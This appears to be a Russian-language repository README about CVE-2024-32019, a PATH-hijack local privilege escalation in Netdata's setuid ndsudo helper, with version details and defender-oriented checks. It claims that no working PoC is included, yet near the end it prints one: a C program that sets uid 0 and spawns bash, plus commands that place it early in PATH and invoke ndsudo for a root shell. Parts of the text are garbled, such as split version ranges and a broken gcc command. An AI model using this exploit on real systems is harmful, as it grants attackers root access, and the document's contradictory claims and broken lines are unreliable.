
Проверяет подверженность повышению привилегий через SUID PATH в Netdata ndsudo для CVE-2024-32019 и проверяет наличие исправлений без использования эксплойтов.
ndsudoВспомогательная утилита Netdata ndsudo (устанавливается с setuid root) ограничивает набор команд, которые она будет выполнять, но разрешает эти команды, используя PATH вызывающего. В уязвимых версиях локальный пользователь может разместить вредоносный бинарный файл раньше в PATH, и ndsudo выполнит его с привилегиями root. Исправлено в Netdata 1.45.3 и 1.45.0-169.
Уязвимы: >= 1.44.0-60, < 1.45.0-169 и (согласно официальному уведомлению).
>= 1.45.0, < 1.45.3Исправлено: 1.45.3 (стабильная), 1.45.0-169 (nightly). GitHub
Локальное повышение привилегий до root в системах, где ndsudo установлен с SUID и пользователь может его вызвать (обычно члены группы netdata). NVDGitHub
ndsudo имеет SUID-root и разрешает подкоманды, такие как nvme-list, nvme-smart-log и т. д.
Он вызывает внешние исполняемые файлы по имени (например, nvme), которые разрешаются через PATH вместо использования абсолютных путей или безопасного фиксированного поиска.
Если каталог с правом записи оказывается перед системными путями, злоумышленник может подложить похожий бинарный файл, который будет выполнен с правами root. GitHub
Этот репозиторий включает проверки без эксплуатации, которые:
Проверяют /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (или где бы он ни был установлен) на наличие SUID/владельца.
Перечисляют PATH на предмет каталогов с правом записи, расположенных раньше стандартных системных путей.
Подтверждают наличие разрешённых имён подкоманд, которые ndsudo может попытаться выполнить.
Опционально запускают ndsudo --test <subcommand> для вывода разрешённой команды без её выполнения (использовать с осторожностью, сначала прочитайте код). GitHub
⚠️ Никакого боевого PoC не включено. Этот проект предназначен для защитников и исследователей, чтобы оценить подверженность и проверить исправления ответственно.
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Уведомление Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Сводка Wiz. wiz.io
Статья Snyk. Vulnerability Guide
Список MITRE/CVE. CVE